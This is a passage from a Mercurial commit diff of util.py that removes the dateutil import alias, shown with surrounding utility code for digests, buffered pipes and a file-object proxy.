##// END OF EJS Templates
util: drop remainder of dateutil/procutil aliases (API)
Yuya Nishihara -
r37993:59f1e33f default
parent child Browse files
Show More
@@ -1,3792 +1,3784 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import itertools
25 import itertools
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import tempfile
34 import tempfile
35 import time
35 import time
36 import traceback
36 import traceback
37 import warnings
37 import warnings
38 import zlib
38 import zlib
39
39
40 from . import (
40 from . import (
41 encoding,
41 encoding,
42 error,
42 error,
43 i18n,
43 i18n,
44 node as nodemod,
44 node as nodemod,
45 policy,
45 policy,
46 pycompat,
46 pycompat,
47 urllibcompat,
47 urllibcompat,
48 )
48 )
49 from .utils import (
49 from .utils import (
50 dateutil,
51 procutil,
50 procutil,
52 stringutil,
51 stringutil,
53 )
52 )
54
53
55 base85 = policy.importmod(r'base85')
54 base85 = policy.importmod(r'base85')
56 osutil = policy.importmod(r'osutil')
55 osutil = policy.importmod(r'osutil')
57 parsers = policy.importmod(r'parsers')
56 parsers = policy.importmod(r'parsers')
58
57
59 b85decode = base85.b85decode
58 b85decode = base85.b85decode
60 b85encode = base85.b85encode
59 b85encode = base85.b85encode
61
60
62 cookielib = pycompat.cookielib
61 cookielib = pycompat.cookielib
63 httplib = pycompat.httplib
62 httplib = pycompat.httplib
64 pickle = pycompat.pickle
63 pickle = pycompat.pickle
65 safehasattr = pycompat.safehasattr
64 safehasattr = pycompat.safehasattr
66 socketserver = pycompat.socketserver
65 socketserver = pycompat.socketserver
67 bytesio = pycompat.bytesio
66 bytesio = pycompat.bytesio
68 # TODO deprecate stringio name, as it is a lie on Python 3.
67 # TODO deprecate stringio name, as it is a lie on Python 3.
69 stringio = bytesio
68 stringio = bytesio
70 xmlrpclib = pycompat.xmlrpclib
69 xmlrpclib = pycompat.xmlrpclib
71
70
72 httpserver = urllibcompat.httpserver
71 httpserver = urllibcompat.httpserver
73 urlerr = urllibcompat.urlerr
72 urlerr = urllibcompat.urlerr
74 urlreq = urllibcompat.urlreq
73 urlreq = urllibcompat.urlreq
75
74
76 # workaround for win32mbcs
75 # workaround for win32mbcs
77 _filenamebytestr = pycompat.bytestr
76 _filenamebytestr = pycompat.bytestr
78
77
79 if pycompat.iswindows:
78 if pycompat.iswindows:
80 from . import windows as platform
79 from . import windows as platform
81 else:
80 else:
82 from . import posix as platform
81 from . import posix as platform
83
82
84 _ = i18n._
83 _ = i18n._
85
84
86 bindunixsocket = platform.bindunixsocket
85 bindunixsocket = platform.bindunixsocket
87 cachestat = platform.cachestat
86 cachestat = platform.cachestat
88 checkexec = platform.checkexec
87 checkexec = platform.checkexec
89 checklink = platform.checklink
88 checklink = platform.checklink
90 copymode = platform.copymode
89 copymode = platform.copymode
91 expandglobs = platform.expandglobs
90 expandglobs = platform.expandglobs
92 getfsmountpoint = platform.getfsmountpoint
91 getfsmountpoint = platform.getfsmountpoint
93 getfstype = platform.getfstype
92 getfstype = platform.getfstype
94 groupmembers = platform.groupmembers
93 groupmembers = platform.groupmembers
95 groupname = platform.groupname
94 groupname = platform.groupname
96 isexec = platform.isexec
95 isexec = platform.isexec
97 isowner = platform.isowner
96 isowner = platform.isowner
98 listdir = osutil.listdir
97 listdir = osutil.listdir
99 localpath = platform.localpath
98 localpath = platform.localpath
100 lookupreg = platform.lookupreg
99 lookupreg = platform.lookupreg
101 makedir = platform.makedir
100 makedir = platform.makedir
102 nlinks = platform.nlinks
101 nlinks = platform.nlinks
103 normpath = platform.normpath
102 normpath = platform.normpath
104 normcase = platform.normcase
103 normcase = platform.normcase
105 normcasespec = platform.normcasespec
104 normcasespec = platform.normcasespec
106 normcasefallback = platform.normcasefallback
105 normcasefallback = platform.normcasefallback
107 openhardlinks = platform.openhardlinks
106 openhardlinks = platform.openhardlinks
108 oslink = platform.oslink
107 oslink = platform.oslink
109 parsepatchoutput = platform.parsepatchoutput
108 parsepatchoutput = platform.parsepatchoutput
110 pconvert = platform.pconvert
109 pconvert = platform.pconvert
111 poll = platform.poll
110 poll = platform.poll
112 posixfile = platform.posixfile
111 posixfile = platform.posixfile
113 rename = platform.rename
112 rename = platform.rename
114 removedirs = platform.removedirs
113 removedirs = platform.removedirs
115 samedevice = platform.samedevice
114 samedevice = platform.samedevice
116 samefile = platform.samefile
115 samefile = platform.samefile
117 samestat = platform.samestat
116 samestat = platform.samestat
118 setflags = platform.setflags
117 setflags = platform.setflags
119 split = platform.split
118 split = platform.split
120 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
119 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
121 statisexec = platform.statisexec
120 statisexec = platform.statisexec
122 statislink = platform.statislink
121 statislink = platform.statislink
123 umask = platform.umask
122 umask = platform.umask
124 unlink = platform.unlink
123 unlink = platform.unlink
125 username = platform.username
124 username = platform.username
126
125
127 try:
126 try:
128 recvfds = osutil.recvfds
127 recvfds = osutil.recvfds
129 except AttributeError:
128 except AttributeError:
130 pass
129 pass
131
130
132 # Python compatibility
131 # Python compatibility
133
132
134 _notset = object()
133 _notset = object()
135
134
136 def _rapply(f, xs):
135 def _rapply(f, xs):
137 if xs is None:
136 if xs is None:
138 # assume None means non-value of optional data
137 # assume None means non-value of optional data
139 return xs
138 return xs
140 if isinstance(xs, (list, set, tuple)):
139 if isinstance(xs, (list, set, tuple)):
141 return type(xs)(_rapply(f, x) for x in xs)
140 return type(xs)(_rapply(f, x) for x in xs)
142 if isinstance(xs, dict):
141 if isinstance(xs, dict):
143 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
142 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
144 return f(xs)
143 return f(xs)
145
144
146 def rapply(f, xs):
145 def rapply(f, xs):
147 """Apply function recursively to every item preserving the data structure
146 """Apply function recursively to every item preserving the data structure
148
147
149 >>> def f(x):
148 >>> def f(x):
150 ... return 'f(%s)' % x
149 ... return 'f(%s)' % x
151 >>> rapply(f, None) is None
150 >>> rapply(f, None) is None
152 True
151 True
153 >>> rapply(f, 'a')
152 >>> rapply(f, 'a')
154 'f(a)'
153 'f(a)'
155 >>> rapply(f, {'a'}) == {'f(a)'}
154 >>> rapply(f, {'a'}) == {'f(a)'}
156 True
155 True
157 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
156 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
158 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
157 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
159
158
160 >>> xs = [object()]
159 >>> xs = [object()]
161 >>> rapply(pycompat.identity, xs) is xs
160 >>> rapply(pycompat.identity, xs) is xs
162 True
161 True
163 """
162 """
164 if f is pycompat.identity:
163 if f is pycompat.identity:
165 # fast path mainly for py2
164 # fast path mainly for py2
166 return xs
165 return xs
167 return _rapply(f, xs)
166 return _rapply(f, xs)
168
167
169 def bitsfrom(container):
168 def bitsfrom(container):
170 bits = 0
169 bits = 0
171 for bit in container:
170 for bit in container:
172 bits |= bit
171 bits |= bit
173 return bits
172 return bits
174
173
175 # python 2.6 still have deprecation warning enabled by default. We do not want
174 # python 2.6 still have deprecation warning enabled by default. We do not want
176 # to display anything to standard user so detect if we are running test and
175 # to display anything to standard user so detect if we are running test and
177 # only use python deprecation warning in this case.
176 # only use python deprecation warning in this case.
178 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
177 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
179 if _dowarn:
178 if _dowarn:
180 # explicitly unfilter our warning for python 2.7
179 # explicitly unfilter our warning for python 2.7
181 #
180 #
182 # The option of setting PYTHONWARNINGS in the test runner was investigated.
181 # The option of setting PYTHONWARNINGS in the test runner was investigated.
183 # However, module name set through PYTHONWARNINGS was exactly matched, so
182 # However, module name set through PYTHONWARNINGS was exactly matched, so
184 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
183 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
185 # makes the whole PYTHONWARNINGS thing useless for our usecase.
184 # makes the whole PYTHONWARNINGS thing useless for our usecase.
186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
185 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
187 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
188 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
187 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
189 if _dowarn and pycompat.ispy3:
188 if _dowarn and pycompat.ispy3:
190 # silence warning emitted by passing user string to re.sub()
189 # silence warning emitted by passing user string to re.sub()
191 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
190 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
192 r'mercurial')
191 r'mercurial')
193 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
192 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
194 DeprecationWarning, r'mercurial')
193 DeprecationWarning, r'mercurial')
195 # TODO: reinvent imp.is_frozen()
194 # TODO: reinvent imp.is_frozen()
196 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
195 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
197 DeprecationWarning, r'mercurial')
196 DeprecationWarning, r'mercurial')
198
197
199 def nouideprecwarn(msg, version, stacklevel=1):
198 def nouideprecwarn(msg, version, stacklevel=1):
200 """Issue an python native deprecation warning
199 """Issue an python native deprecation warning
201
200
202 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
201 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
203 """
202 """
204 if _dowarn:
203 if _dowarn:
205 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
204 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
206 " update your code.)") % version
205 " update your code.)") % version
207 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
206 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
208
207
209 DIGESTS = {
208 DIGESTS = {
210 'md5': hashlib.md5,
209 'md5': hashlib.md5,
211 'sha1': hashlib.sha1,
210 'sha1': hashlib.sha1,
212 'sha512': hashlib.sha512,
211 'sha512': hashlib.sha512,
213 }
212 }
214 # List of digest types from strongest to weakest
213 # List of digest types from strongest to weakest
215 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
214 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
216
215
217 for k in DIGESTS_BY_STRENGTH:
216 for k in DIGESTS_BY_STRENGTH:
218 assert k in DIGESTS
217 assert k in DIGESTS
219
218
220 class digester(object):
219 class digester(object):
221 """helper to compute digests.
220 """helper to compute digests.
222
221
223 This helper can be used to compute one or more digests given their name.
222 This helper can be used to compute one or more digests given their name.
224
223
225 >>> d = digester([b'md5', b'sha1'])
224 >>> d = digester([b'md5', b'sha1'])
226 >>> d.update(b'foo')
225 >>> d.update(b'foo')
227 >>> [k for k in sorted(d)]
226 >>> [k for k in sorted(d)]
228 ['md5', 'sha1']
227 ['md5', 'sha1']
229 >>> d[b'md5']
228 >>> d[b'md5']
230 'acbd18db4cc2f85cedef654fccc4a4d8'
229 'acbd18db4cc2f85cedef654fccc4a4d8'
231 >>> d[b'sha1']
230 >>> d[b'sha1']
232 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
231 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
233 >>> digester.preferred([b'md5', b'sha1'])
232 >>> digester.preferred([b'md5', b'sha1'])
234 'sha1'
233 'sha1'
235 """
234 """
236
235
237 def __init__(self, digests, s=''):
236 def __init__(self, digests, s=''):
238 self._hashes = {}
237 self._hashes = {}
239 for k in digests:
238 for k in digests:
240 if k not in DIGESTS:
239 if k not in DIGESTS:
241 raise error.Abort(_('unknown digest type: %s') % k)
240 raise error.Abort(_('unknown digest type: %s') % k)
242 self._hashes[k] = DIGESTS[k]()
241 self._hashes[k] = DIGESTS[k]()
243 if s:
242 if s:
244 self.update(s)
243 self.update(s)
245
244
246 def update(self, data):
245 def update(self, data):
247 for h in self._hashes.values():
246 for h in self._hashes.values():
248 h.update(data)
247 h.update(data)
249
248
250 def __getitem__(self, key):
249 def __getitem__(self, key):
251 if key not in DIGESTS:
250 if key not in DIGESTS:
252 raise error.Abort(_('unknown digest type: %s') % k)
251 raise error.Abort(_('unknown digest type: %s') % k)
253 return nodemod.hex(self._hashes[key].digest())
252 return nodemod.hex(self._hashes[key].digest())
254
253
255 def __iter__(self):
254 def __iter__(self):
256 return iter(self._hashes)
255 return iter(self._hashes)
257
256
258 @staticmethod
257 @staticmethod
259 def preferred(supported):
258 def preferred(supported):
260 """returns the strongest digest type in both supported and DIGESTS."""
259 """returns the strongest digest type in both supported and DIGESTS."""
261
260
262 for k in DIGESTS_BY_STRENGTH:
261 for k in DIGESTS_BY_STRENGTH:
263 if k in supported:
262 if k in supported:
264 return k
263 return k
265 return None
264 return None
266
265
267 class digestchecker(object):
266 class digestchecker(object):
268 """file handle wrapper that additionally checks content against a given
267 """file handle wrapper that additionally checks content against a given
269 size and digests.
268 size and digests.
270
269
271 d = digestchecker(fh, size, {'md5': '...'})
270 d = digestchecker(fh, size, {'md5': '...'})
272
271
273 When multiple digests are given, all of them are validated.
272 When multiple digests are given, all of them are validated.
274 """
273 """
275
274
276 def __init__(self, fh, size, digests):
275 def __init__(self, fh, size, digests):
277 self._fh = fh
276 self._fh = fh
278 self._size = size
277 self._size = size
279 self._got = 0
278 self._got = 0
280 self._digests = dict(digests)
279 self._digests = dict(digests)
281 self._digester = digester(self._digests.keys())
280 self._digester = digester(self._digests.keys())
282
281
283 def read(self, length=-1):
282 def read(self, length=-1):
284 content = self._fh.read(length)
283 content = self._fh.read(length)
285 self._digester.update(content)
284 self._digester.update(content)
286 self._got += len(content)
285 self._got += len(content)
287 return content
286 return content
288
287
289 def validate(self):
288 def validate(self):
290 if self._size != self._got:
289 if self._size != self._got:
291 raise error.Abort(_('size mismatch: expected %d, got %d') %
290 raise error.Abort(_('size mismatch: expected %d, got %d') %
292 (self._size, self._got))
291 (self._size, self._got))
293 for k, v in self._digests.items():
292 for k, v in self._digests.items():
294 if v != self._digester[k]:
293 if v != self._digester[k]:
295 # i18n: first parameter is a digest name
294 # i18n: first parameter is a digest name
296 raise error.Abort(_('%s mismatch: expected %s, got %s') %
295 raise error.Abort(_('%s mismatch: expected %s, got %s') %
297 (k, v, self._digester[k]))
296 (k, v, self._digester[k]))
298
297
299 try:
298 try:
300 buffer = buffer
299 buffer = buffer
301 except NameError:
300 except NameError:
302 def buffer(sliceable, offset=0, length=None):
301 def buffer(sliceable, offset=0, length=None):
303 if length is not None:
302 if length is not None:
304 return memoryview(sliceable)[offset:offset + length]
303 return memoryview(sliceable)[offset:offset + length]
305 return memoryview(sliceable)[offset:]
304 return memoryview(sliceable)[offset:]
306
305
307 _chunksize = 4096
306 _chunksize = 4096
308
307
309 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
310 """a manually buffered input pipe
309 """a manually buffered input pipe
311
310
312 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
313 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
314 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
315
314
316 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
317 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
318 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
319
318
320 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
321 module from the python stdlib.
320 module from the python stdlib.
322 """
321 """
323 def __new__(cls, fh):
322 def __new__(cls, fh):
324 # If we receive a fileobjectproxy, we need to use a variation of this
323 # If we receive a fileobjectproxy, we need to use a variation of this
325 # class that notifies observers about activity.
324 # class that notifies observers about activity.
326 if isinstance(fh, fileobjectproxy):
325 if isinstance(fh, fileobjectproxy):
327 cls = observedbufferedinputpipe
326 cls = observedbufferedinputpipe
328
327
329 return super(bufferedinputpipe, cls).__new__(cls)
328 return super(bufferedinputpipe, cls).__new__(cls)
330
329
331 def __init__(self, input):
330 def __init__(self, input):
332 self._input = input
331 self._input = input
333 self._buffer = []
332 self._buffer = []
334 self._eof = False
333 self._eof = False
335 self._lenbuf = 0
334 self._lenbuf = 0
336
335
337 @property
336 @property
338 def hasbuffer(self):
337 def hasbuffer(self):
339 """True is any data is currently buffered
338 """True is any data is currently buffered
340
339
341 This will be used externally a pre-step for polling IO. If there is
340 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
341 already data then no polling should be set in place."""
343 return bool(self._buffer)
342 return bool(self._buffer)
344
343
345 @property
344 @property
346 def closed(self):
345 def closed(self):
347 return self._input.closed
346 return self._input.closed
348
347
349 def fileno(self):
348 def fileno(self):
350 return self._input.fileno()
349 return self._input.fileno()
351
350
352 def close(self):
351 def close(self):
353 return self._input.close()
352 return self._input.close()
354
353
355 def read(self, size):
354 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
355 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
356 self._fillbuffer()
358 return self._frombuffer(size)
357 return self._frombuffer(size)
359
358
360 def readline(self, *args, **kwargs):
359 def readline(self, *args, **kwargs):
361 if 1 < len(self._buffer):
360 if 1 < len(self._buffer):
362 # this should not happen because both read and readline end with a
361 # this should not happen because both read and readline end with a
363 # _frombuffer call that collapse it.
362 # _frombuffer call that collapse it.
364 self._buffer = [''.join(self._buffer)]
363 self._buffer = [''.join(self._buffer)]
365 self._lenbuf = len(self._buffer[0])
364 self._lenbuf = len(self._buffer[0])
366 lfi = -1
365 lfi = -1
367 if self._buffer:
366 if self._buffer:
368 lfi = self._buffer[-1].find('\n')
367 lfi = self._buffer[-1].find('\n')
369 while (not self._eof) and lfi < 0:
368 while (not self._eof) and lfi < 0:
370 self._fillbuffer()
369 self._fillbuffer()
371 if self._buffer:
370 if self._buffer:
372 lfi = self._buffer[-1].find('\n')
371 lfi = self._buffer[-1].find('\n')
373 size = lfi + 1
372 size = lfi + 1
374 if lfi < 0: # end of file
373 if lfi < 0: # end of file
375 size = self._lenbuf
374 size = self._lenbuf
376 elif 1 < len(self._buffer):
375 elif 1 < len(self._buffer):
377 # we need to take previous chunks into account
376 # we need to take previous chunks into account
378 size += self._lenbuf - len(self._buffer[-1])
377 size += self._lenbuf - len(self._buffer[-1])
379 return self._frombuffer(size)
378 return self._frombuffer(size)
380
379
381 def _frombuffer(self, size):
380 def _frombuffer(self, size):
382 """return at most 'size' data from the buffer
381 """return at most 'size' data from the buffer
383
382
384 The data are removed from the buffer."""
383 The data are removed from the buffer."""
385 if size == 0 or not self._buffer:
384 if size == 0 or not self._buffer:
386 return ''
385 return ''
387 buf = self._buffer[0]
386 buf = self._buffer[0]
388 if 1 < len(self._buffer):
387 if 1 < len(self._buffer):
389 buf = ''.join(self._buffer)
388 buf = ''.join(self._buffer)
390
389
391 data = buf[:size]
390 data = buf[:size]
392 buf = buf[len(data):]
391 buf = buf[len(data):]
393 if buf:
392 if buf:
394 self._buffer = [buf]
393 self._buffer = [buf]
395 self._lenbuf = len(buf)
394 self._lenbuf = len(buf)
396 else:
395 else:
397 self._buffer = []
396 self._buffer = []
398 self._lenbuf = 0
397 self._lenbuf = 0
399 return data
398 return data
400
399
401 def _fillbuffer(self):
400 def _fillbuffer(self):
402 """read data to the buffer"""
401 """read data to the buffer"""
403 data = os.read(self._input.fileno(), _chunksize)
402 data = os.read(self._input.fileno(), _chunksize)
404 if not data:
403 if not data:
405 self._eof = True
404 self._eof = True
406 else:
405 else:
407 self._lenbuf += len(data)
406 self._lenbuf += len(data)
408 self._buffer.append(data)
407 self._buffer.append(data)
409
408
410 return data
409 return data
411
410
412 def mmapread(fp):
411 def mmapread(fp):
413 try:
412 try:
414 fd = getattr(fp, 'fileno', lambda: fp)()
413 fd = getattr(fp, 'fileno', lambda: fp)()
415 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
414 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
416 except ValueError:
415 except ValueError:
417 # Empty files cannot be mmapped, but mmapread should still work. Check
416 # Empty files cannot be mmapped, but mmapread should still work. Check
418 # if the file is empty, and if so, return an empty buffer.
417 # if the file is empty, and if so, return an empty buffer.
419 if os.fstat(fd).st_size == 0:
418 if os.fstat(fd).st_size == 0:
420 return ''
419 return ''
421 raise
420 raise
422
421
423 class fileobjectproxy(object):
422 class fileobjectproxy(object):
424 """A proxy around file objects that tells a watcher when events occur.
423 """A proxy around file objects that tells a watcher when events occur.
425
424
426 This type is intended to only be used for testing purposes. Think hard
425 This type is intended to only be used for testing purposes. Think hard
427 before using it in important code.
426 before using it in important code.
428 """
427 """
429 __slots__ = (
428 __slots__ = (
430 r'_orig',
429 r'_orig',
431 r'_observer',
430 r'_observer',
432 )
431 )
433
432
434 def __init__(self, fh, observer):
433 def __init__(self, fh, observer):
435 object.__setattr__(self, r'_orig', fh)
434 object.__setattr__(self, r'_orig', fh)
436 object.__setattr__(self, r'_observer', observer)
435 object.__setattr__(self, r'_observer', observer)
437
436
438 def __getattribute__(self, name):
437 def __getattribute__(self, name):
439 ours = {
438 ours = {
440 r'_observer',
439 r'_observer',
441
440
442 # IOBase
441 # IOBase
443 r'close',
442 r'close',
444 # closed if a property
443 # closed if a property
445 r'fileno',
444 r'fileno',
446 r'flush',
445 r'flush',
447 r'isatty',
446 r'isatty',
448 r'readable',
447 r'readable',
449 r'readline',
448 r'readline',
450 r'readlines',
449 r'readlines',
451 r'seek',
450 r'seek',
452 r'seekable',
451 r'seekable',
453 r'tell',
452 r'tell',
454 r'truncate',
453 r'truncate',
455 r'writable',
454 r'writable',
456 r'writelines',
455 r'writelines',
457 # RawIOBase
456 # RawIOBase
458 r'read',
457 r'read',
459 r'readall',
458 r'readall',
460 r'readinto',
459 r'readinto',
461 r'write',
460 r'write',
462 # BufferedIOBase
461 # BufferedIOBase
463 # raw is a property
462 # raw is a property
464 r'detach',
463 r'detach',
465 # read defined above
464 # read defined above
466 r'read1',
465 r'read1',
467 # readinto defined above
466 # readinto defined above
468 # write defined above
467 # write defined above
469 }
468 }
470
469
471 # We only observe some methods.
470 # We only observe some methods.
472 if name in ours:
471 if name in ours:
473 return object.__getattribute__(self, name)
472 return object.__getattribute__(self, name)
474
473
475 return getattr(object.__getattribute__(self, r'_orig'), name)
474 return getattr(object.__getattribute__(self, r'_orig'), name)
476
475
477 def __nonzero__(self):
476 def __nonzero__(self):
478 return bool(object.__getattribute__(self, r'_orig'))
477 return bool(object.__getattribute__(self, r'_orig'))
479
478
480 __bool__ = __nonzero__
479 __bool__ = __nonzero__
481
480
482 def __delattr__(self, name):
481 def __delattr__(self, name):
483 return delattr(object.__getattribute__(self, r'_orig'), name)
482 return delattr(object.__getattribute__(self, r'_orig'), name)
484
483
485 def __setattr__(self, name, value):
484 def __setattr__(self, name, value):
486 return setattr(object.__getattribute__(self, r'_orig'), name, value)
485 return setattr(object.__getattribute__(self, r'_orig'), name, value)
487
486
488 def __iter__(self):
487 def __iter__(self):
489 return object.__getattribute__(self, r'_orig').__iter__()
488 return object.__getattribute__(self, r'_orig').__iter__()
490
489
491 def _observedcall(self, name, *args, **kwargs):
490 def _observedcall(self, name, *args, **kwargs):
492 # Call the original object.
491 # Call the original object.
493 orig = object.__getattribute__(self, r'_orig')
492 orig = object.__getattribute__(self, r'_orig')
494 res = getattr(orig, name)(*args, **kwargs)
493 res = getattr(orig, name)(*args, **kwargs)
495
494
496 # Call a method on the observer of the same name with arguments
495 # Call a method on the observer of the same name with arguments
497 # so it can react, log, etc.
496 # so it can react, log, etc.
498 observer = object.__getattribute__(self, r'_observer')
497 observer = object.__getattribute__(self, r'_observer')
499 fn = getattr(observer, name, None)
498 fn = getattr(observer, name, None)
500 if fn:
499 if fn:
501 fn(res, *args, **kwargs)
500 fn(res, *args, **kwargs)
502
501
503 return res
502 return res
504
503
505 def close(self, *args, **kwargs):
504 def close(self, *args, **kwargs):
506 return object.__getattribute__(self, r'_observedcall')(
505 return object.__getattribute__(self, r'_observedcall')(
507 r'close', *args, **kwargs)
506 r'close', *args, **kwargs)
508
507
509 def fileno(self, *args, **kwargs):
508 def fileno(self, *args, **kwargs):
510 return object.__getattribute__(self, r'_observedcall')(
509 return object.__getattribute__(self, r'_observedcall')(
511 r'fileno', *args, **kwargs)
510 r'fileno', *args, **kwargs)
512
511
513 def flush(self, *args, **kwargs):
512 def flush(self, *args, **kwargs):
514 return object.__getattribute__(self, r'_observedcall')(
513 return object.__getattribute__(self, r'_observedcall')(
515 r'flush', *args, **kwargs)
514 r'flush', *args, **kwargs)
516
515
517 def isatty(self, *args, **kwargs):
516 def isatty(self, *args, **kwargs):
518 return object.__getattribute__(self, r'_observedcall')(
517 return object.__getattribute__(self, r'_observedcall')(
519 r'isatty', *args, **kwargs)
518 r'isatty', *args, **kwargs)
520
519
521 def readable(self, *args, **kwargs):
520 def readable(self, *args, **kwargs):
522 return object.__getattribute__(self, r'_observedcall')(
521 return object.__getattribute__(self, r'_observedcall')(
523 r'readable', *args, **kwargs)
522 r'readable', *args, **kwargs)
524
523
525 def readline(self, *args, **kwargs):
524 def readline(self, *args, **kwargs):
526 return object.__getattribute__(self, r'_observedcall')(
525 return object.__getattribute__(self, r'_observedcall')(
527 r'readline', *args, **kwargs)
526 r'readline', *args, **kwargs)
528
527
529 def readlines(self, *args, **kwargs):
528 def readlines(self, *args, **kwargs):
530 return object.__getattribute__(self, r'_observedcall')(
529 return object.__getattribute__(self, r'_observedcall')(
531 r'readlines', *args, **kwargs)
530 r'readlines', *args, **kwargs)
532
531
533 def seek(self, *args, **kwargs):
532 def seek(self, *args, **kwargs):
534 return object.__getattribute__(self, r'_observedcall')(
533 return object.__getattribute__(self, r'_observedcall')(
535 r'seek', *args, **kwargs)
534 r'seek', *args, **kwargs)
536
535
537 def seekable(self, *args, **kwargs):
536 def seekable(self, *args, **kwargs):
538 return object.__getattribute__(self, r'_observedcall')(
537 return object.__getattribute__(self, r'_observedcall')(
539 r'seekable', *args, **kwargs)
538 r'seekable', *args, **kwargs)
540
539
541 def tell(self, *args, **kwargs):
540 def tell(self, *args, **kwargs):
542 return object.__getattribute__(self, r'_observedcall')(
541 return object.__getattribute__(self, r'_observedcall')(
543 r'tell', *args, **kwargs)
542 r'tell', *args, **kwargs)
544
543
545 def truncate(self, *args, **kwargs):
544 def truncate(self, *args, **kwargs):
546 return object.__getattribute__(self, r'_observedcall')(
545 return object.__getattribute__(self, r'_observedcall')(
547 r'truncate', *args, **kwargs)
546 r'truncate', *args, **kwargs)
548
547
549 def writable(self, *args, **kwargs):
548 def writable(self, *args, **kwargs):
550 return object.__getattribute__(self, r'_observedcall')(
549 return object.__getattribute__(self, r'_observedcall')(
551 r'writable', *args, **kwargs)
550 r'writable', *args, **kwargs)
552
551
553 def writelines(self, *args, **kwargs):
552 def writelines(self, *args, **kwargs):
554 return object.__getattribute__(self, r'_observedcall')(
553 return object.__getattribute__(self, r'_observedcall')(
555 r'writelines', *args, **kwargs)
554 r'writelines', *args, **kwargs)
556
555
557 def read(self, *args, **kwargs):
556 def read(self, *args, **kwargs):
558 return object.__getattribute__(self, r'_observedcall')(
557 return object.__getattribute__(self, r'_observedcall')(
559 r'read', *args, **kwargs)
558 r'read', *args, **kwargs)
560
559
561 def readall(self, *args, **kwargs):
560 def readall(self, *args, **kwargs):
562 return object.__getattribute__(self, r'_observedcall')(
561 return object.__getattribute__(self, r'_observedcall')(
563 r'readall', *args, **kwargs)
562 r'readall', *args, **kwargs)
564
563
565 def readinto(self, *args, **kwargs):
564 def readinto(self, *args, **kwargs):
566 return object.__getattribute__(self, r'_observedcall')(
565 return object.__getattribute__(self, r'_observedcall')(
567 r'readinto', *args, **kwargs)
566 r'readinto', *args, **kwargs)
568
567
569 def write(self, *args, **kwargs):
568 def write(self, *args, **kwargs):
570 return object.__getattribute__(self, r'_observedcall')(
569 return object.__getattribute__(self, r'_observedcall')(
